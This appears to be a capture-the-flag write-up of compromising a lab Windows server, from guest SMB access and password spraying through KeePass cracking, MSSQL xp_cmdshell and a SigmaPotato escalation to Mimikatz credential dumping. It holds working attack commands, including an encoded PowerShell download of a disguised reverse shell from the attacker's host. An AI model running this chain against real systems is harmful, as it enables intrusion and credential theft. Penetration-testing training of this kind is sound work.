Overview

The machine starts by guest smb access to an HR share that yields an initial password, password spraying new employee usernames to get a foothold and gain read access to an IT share to find a keepass vault and reuse its secrets to get winrm as a privileged user. It then forwards the internal mssql port to impersonate sa and get a shell as sysadmin, abusing SeImpersonatePrivilege to get shell as system.

Enumeration

We'll start with an nmap scan as usual:

The scan result shows that the target is running:

  • SMB
  • WinRM
  • RDP

This is a Windows machine (not AD), so let's start enumerating services. Our only way forward from here is SMB (we can try some funky stuff with RDP if SMB didn't work out).

SMB access as guest

First, testing if the Guest account is enabled or not, and as you can see it is enabled:

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ nxc smb 10.1.141.227 -u 'Guest' -p ''
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO [*] Windows Server 2022 Build 20348 x64 (name:WIN-0MTGMLVOBBO) (domain:WIN-0MTGMLVOBBO) (signing:False) (SMBv1:False)
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO [+] WIN-0MTGMLVOBBO\Guest:

Listing the shares that the Guest account can access, the HR share is readable by Guest:

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ nxc smb 10.1.141.227 -u 'Guest' -p '' --shares
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO [*] Windows Server 2022 Build 20348 x64 (name:WIN-0MTGMLVOBBO) (domain:WIN-0MTGMLVOBBO) (signing:False) (SMBv1:False)
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO [+] WIN-0MTGMLVOBBO\Guest:
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO [*] Enumerated shares
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO Share Permissions Remark
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO ----- ----------- ------
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO ADMIN$ Remote Admin
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO C$ Default share
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO HR READ
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO IPC$ READ Remote IPC
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO IT

Listing the files on that share, we see an email file and some PDFs:

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ smbclient //10.1.141.227/HR -U'Guest'%''
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu May 21 13:00:14 2026
  ..                                DHS        0  Sun Aug 30 15:26:19 2026
  employees.eml                       A      384  Thu May 21 12:14:17 2026
  New_Employees.pdf                   A    20539  Thu May 21 11:50:17 2026
  PerformanceReport.pdf               A    39619  Thu May 21 12:20:15 2026
  Recommendation.doc                  A    60416  Thu May 21 12:22:51 2026

                9534719 blocks of size 4096. 5616703 blocks available
smb: \> mget *
Get file employees.eml? y
getting file \employees.eml of size 384 as employees.eml (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
Get file New_Employees.pdf? y
getting file \New_Employees.pdf of size 20539 as New_Employees.pdf (27.7 KiloBytes/sec) (average 15.8 KiloBytes/sec)
Get file PerformanceReport.pdf? y
getting file \PerformanceReport.pdf of size 39619 as PerformanceReport.pdf (54.0 KiloBytes/sec) (average 29.4 KiloBytes/sec)
Get file Recommendation.doc? y
getting file \Recommendation.doc of size 60416 as Recommendation.doc (92.9 KiloBytes/sec) (average 44.6 KiloBytes/sec)
smb: \> exit

Starting with the email that states that all the new employees have the initial password MegaCorp2026 set for them:

This means if we can get our hands on the new employees' names we can password spray this (considering that the user lynda.smith that this email was sent to is also a target):

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ cat employees.eml
From: Fred Green < fred.green@megacorp.com>
To: Lynda Smith < lynda.smith@megacorp.com>
Subject: Employees
Date: Thu, 21 May 2026 10:15:00 -0600
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit

Accounts for new employees have been set up, temporary password is MegaCorp2026!

They will have to change the password once they login.

Looking at the New_Employees.pdf file, we find a list of the new employees and Lynda isn't one of them, so let's create a list of possible usernames from this list (we could've also guessed based on the naming convention of fred.green and lynda.smith that the naming is only either first.last or last.first, but this doesn't change anything about what we'll do, it just could've made it shorter):

Access as Tim.Torner

First, we'll write a list of names that we got:

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ cat new_employees.txt
Alvin Glein
Jen Daya
Tim Torner
Jose Castillo

Then we use username-anarchy to create a list of possible usernames, and this is the step where we could've done username-anarchy -i new_employees.txt --select-format first.last,last.first just to make the password spray shorter:

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ /opt/username-anarchy/username-anarchy -i new_employees.txt | tee users.txt
alvin
alvinglein
alvin.glein
< SNIP>
timtorner
tim.torner
timtorne
timtorn
timt
t.torner
ttorner
ttim
t.tim
tornert
torner
torner.t
torner.tim
< SNIP>

If we start spraying, we'll see that any wrong credentials will default to the Guest account, so we'll use grep -v Guest to hide all Guest results:

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ nxc smb 10.1.141.227 -u users.txt -p 'MegaCorp2026!' | grep '[+]'
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO [+] WIN-0MTGMLVOBBO\alvin:MegaCorp2026! (Guest)

And as you can see, using --continue-on-success to keep going, we got two possible users that didn't change their passwords yet:

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ nxc smb 10.1.141.227 -u users.txt -p 'MegaCorp2026!' --continue-on-success | grep '[+]' | grep -v Guest
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO [+] WIN-0MTGMLVOBBO\tim.torner:MegaCorp2026!
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO [+] WIN-0MTGMLVOBBO\jose.castillo:MegaCorp2026!

IT Share as tim.torner

One thing we saw earlier is that IT share that we couldn't read, but now because we have an employee that is working as Help Desk, we can try his credentials against SMB to see if we got access:

And as we guessed, Tim has read access over that share, so let's connect:

bash
Gtk-Message: 20:26:04.605: Failed to load module "colorreload-gtk-module"
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ nxc smb 10.1.141.227 -u tim.torner -p 'MegaCorp2026!' --shares
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO [*] Windows Server 2022 Build 20348 x64 (name:WIN-0MTGMLVOBBO) (domain:WIN-0MTGMLVOBBO) (signing:False) (SMBv1:False)
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO [+] WIN-0MTGMLVOBBO\tim.torner:MegaCorp2026!
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO [*] Enumerated shares
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO Share Permissions Remark
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO ----- ----------- ------
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO ADMIN$ Remote Admin
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO C$ Default share
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO HR READ
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO IPC$ READ Remote IPC
SMB 10.1.141.227 445 WIN-0MTGMLVOBBO IT READ

The share has some files, and the most interesting one is this .kdb file which is an older version of the KDBX format:

First, we'll extract the vault master password hash to crack it:

KeePass .kdb is the legacy KeePass 1.x database format. keepass2john extracts its master password hash so it can be cracked offline with John the Ripper or Hashcat.

Then we use John to crack it and find out that the password for the vault is princess:

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ john database.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 1 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess (Database.kdb)
1g 0:00:00:01 DONE (2026-09-08 20:29) 0.9009g/s 7.207p/s 7.207c/s 7.207C/s 123456..rockyou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Because this is an old format, we can't just open it like other KDBX files using keepassxc file.kdbx, but we have to open the app, then go to Database -> Import and follow the numbers on the screen as you can see:

Once we click continue, we'll see the passwords. The most interesting one is fred.green because from the email he looked like he has some privileges or he is in charge, but we'll also note other passwords that we might use to spray:

WinRM as fred.green

First, validating the user credentials, we can WinRM as fred.green:

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ nxc winrm 10.1.141.227 -u fred.green -p '7ERRI9Q0YEfvJYF'
WINRM 10.1.141.227 5985 WIN-0MTGMLVOBBO [*] Windows Server 2022 Build 20348 (name:WIN-0MTGMLVOBBO) (domain:WIN-0MTGMLVOBBO)
WINRM 10.1.141.227 5985 WIN-0MTGMLVOBBO [+] WIN-0MTGMLVOBBO\fred.green:7ERRI9Q0YEfvJYF (Pwn3d!)

First thing is looking for any special groups or privileges, but there's nothing. Only the Remote Management Users group that got us this shell:

MSSQL as fred.green

Looking at the C:\ folder, I see the SQL2025 folder, but we didn't see port 1433 exposed publicly, so looking for the listening ports we see that port 1433 is listening, so let's port-forward this:

First, start a server:

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ ./chisel server --reverse --port 8001
2026/09/08 21:11:19 server: Reverse tunnelling enabled
2026/09/08 21:11:19 server: Fingerprint 0+xhaIT1fm7k6rgbzc0UqcUcS6mIp4Y/MuK88chsO2w=
2026/09/08 21:11:19 server: Listening on http://0.0.0.0:8001

Then move Chisel to the target and connect back to the listener. The format R:1433:127.0.0.1:1433 in simple words: it opens port 1433 on the R (remote server) which is our attacker machine and forwards any traffic coming to that R:1433 port to 127.0.0.1:1433, which is the address from the client's perspective (so it is the target):

bash
*Evil-WinRM* PS C:\Users\fred.green\Documents> ./chisel.exe client 10.200.92.114:8001 R:1433:127.0.0.1:1433
chisel.exe : 2026/09/08 18:11:57 client: Connecting to ws://10.200.92.114:8001
    + CategoryInfo          : NotSpecified: (2026/09/08 18:1...200.92.114:8001:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
2026/09/08 18:11:58 client: Connected (Latency 141.8149ms)

Chisel is a TCP/UDP tunnel over HTTP that supports reverse port forwarding, letting you expose a port bound to localhost on the victim through your attacker machine.

So when we use mssqlclient.py, it connects to port 1433 on our attacker machine which is opened by Chisel to forward all its traffic to 127.0.0.1:1433 on the target and get the response back to us through the same tunnel:

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ mssqlclient.py fred.green:7ERRI9Q0YEfvJYF@127.0.0.1 -windows-auth
Impacket v0.14.0.dev0+20260814.164800.c23b3d55 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-0MTGMLVOBBO\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2025 RTM (17.0.1000)
[!] Press help for extra shell commands
SQL (WIN-0MTGMLVOBBO\fred.green guest@master)>

Impersonation SA on MSSQL

After logging in and enumerating impersonation, we can impersonate the sa user:

bash
SQL (WIN-0MTGMLVOBBO\fred.green guest@master)> enum_impersonate
execute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- -------------------------- -------
LOGIN IMPERSONATE GRANT WIN-0MTGMLVOBBO\fred.green sa

MSSQL impersonation lets a login execute as another principal via EXECUTE AS LOGIN. If IMPERSONATE on sa is granted, you can run privileged queries and enable dangerous features like xp_cmdshell.

So we will impersonate sa and enable xp_cmdshell, then run whoami to see who is running the server, and it is sysadmin. So let's get a shell back as sysadmin then:

bash
SQL (WIN-0MTGMLVOBBO\fred.green guest@master)> exec_as_login sa
SQL (sa dbo@master)> enable_xp_cmdshell
INFO(WIN-0MTGMLVOBBO\SQLEXPRESS): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(WIN-0MTGMLVOBBO\SQLEXPRESS): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> xp_cmdshell whoami
output
------------------------
win-0mtgmlvobbo\sysadmin
NULL
SQL (sa dbo@master)>

xp_cmdshell is a SQL Server extended stored procedure that spawns a Windows command shell. When enabled and run as a privileged SQL login, it gives OS command execution as the SQL Server service account.

Shell as SysAdmin

I will use my Go reverse shell:

First, compile it with the no-GUI option so it doesn't open a terminal:

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ GOOS=windows GOARCH=amd64 go build -ldflags="-H=windowsgui" -o WindowsUpdater.exe win_reverse.go

Then we'll create the Base64 form of the command after encoding it in UTF-16LE (that's what Windows understands). The command will download the shell under C:\Windows\Tasks\WinUpdater.exe so we can run it later to get a shell:

bash
┌─[]─[10.200.92.114]─[jimmex@attacker]─[~/HSM/NewHire]
└──╼ [★]$ echo 'wget http://10.200.92.114/WindowsUpdater.exe -UseBasicParsin -OutFile C:\Windows\Tasks\WinUpdater.exe ' | iconv -t utf16le | base64 -w 0
dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMgAwADAALgA5ADIALgAxADEANAAvAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAcgAuAGUAeABlACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AIAAtAE8AdQB0AEYAaQBsAGUAIABDADoAXABXAGkAbgBkAG8AdwBzAFwAVABhAHMAawBzAFwAVwBpAG4AVQBwAGQAYQB0AGUAcgAuAGUAeABlACAACgA=

Then to download it, we'll use powershell -e to run the encoded command with the output we just created:

bash
SQL (sa dbo@master)> xp_cmdshell powershell -e dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMgAwADAALgA5ADIALgAxADEANAAvAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAcgAuAGUAeABlACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AIAAtAE8AdQB0AEYAaQBsAGUAIABDADoAXABXAGkAbgBkAG8AdwBzAFwAVABhAHMAawBzAFwAVwBpAG4AVQBwAGQAYQB0AGUAcgAuAGUAeABlACAACgA=

And as you can see, once it downloads and we run it via xp_cmdshell C:\Windows\Tasks\WinUpdater.exe, we get a shell back as sysadmin:

Shell as SYSTEM

Because this user is running MSSQL, it is usually granted some privileges like SeImpersonatePrivilege that we can use to get a shell as SYSTEM:

SeImpersonatePrivilege lets a process impersonate another user's security token after authentication, and is commonly abused with tools like SigmaPotato, PrintSpoofer or GodPotato to escalate to SYSTEM.

bash
C:\Windows\system32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

First, we'll see that the RealTimeMonitoring is disabled, so we don't need to care about obfuscation or anything:

bash
PS C:\Windows\system32> Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, AntivirusEnabled, BehaviorMonitorEnabled, IoavProtectionEnabled
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, AntivirusEnabled, BehaviorMonitorEnabled, IoavProtectionEnabled

RealTimeProtectionEnabled AntivirusEnabled BehaviorMonitorEnabled IoavProtectionEnabled
------------------------- ---------------- ---------------------- ---------------------
                    False True False False

We just move SigmaPotato and send a shell back as you can see:

SigmaPotato is a fork of SweetPotato that abuses SeImpersonatePrivilege to create a SYSTEM token via COM/RPC impersonation.

After detaching from the old session (Ctrl + a + d), we'll see that we're SYSTEM:

Running Mimikatz to dump the logon passwords returns the sysadmin hash, not a plain-text password, which isn't crackable:

bash
PS C:\Windows\system32>.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
< SNIP>
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
< SNIP>
Authentication Id : 0 ; 99217 (00000000:00018391)
Session : Service from 0
User Name : sysadmin
Domain : WIN-0MTGMLVOBBO
Logon Server : WIN-0MTGMLVOBBO
Logon Time : 9/8/2026 5:04:07 PM
SID : S-1-5-21-2387301235-874641830-263055908-1005
        msv :
         [00000003] Primary
         * Username : sysadmin                                                 
         * Domain   : WIN-0MTGMLVOBBO                                          
         * NTLM : e5d689efab91399cbd5eb60575bfdb34 < SNIP>

LSA Secrets stores service account passwords and other secrets in the registry. lsadump::secrets decrypts them with SYSTEM privileges, often revealing plain-text service passwords.

But dumping the LSA secrets will show the plain-text password at the bottom as you can see:

bash
PS C:\Windows\system32>.\mimikatz.exe "privilege::debug" "lsadump::secrets" "exit"
mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # lsadump::secrets
Domain : WIN-0MTGMLVOBBO
SysKey : 665e136436fe11a241de73d90c93f4f7

Local name : WIN-0MTGMLVOBBO ( S-1-5-21-2387301235-874641830-263055908 )
Domain name : WORKGROUP
< SNIP>
Secret : _SC_MSSQL$SQLEXPRESS / service 'MSSQL$SQLEXPRESS' with username : .\sysadmin
cur/text: RRxcg<I AM NOT HERE>
old/text: RRxcf<NEITHER AM I>

Secret : _SC_MSSQLFDLauncher$SQLEXPRESS / service 'MSSQLFDLauncher$SQLEXPRESS' with username : NT Service\MSSQLFDLauncher$SQLEXPRESS

Secret : _SC_SQLTELEMETRY$SQLEXPRESS / service 'SQLTELEMETRY$SQLEXPRESS' with username : NT Service\SQLTELEMETRY$SQLEXPRESS

mimikatz(commandline) # exit
Bye!

Path

That's what we did for this box Pasted image 20260909063930.png

Resources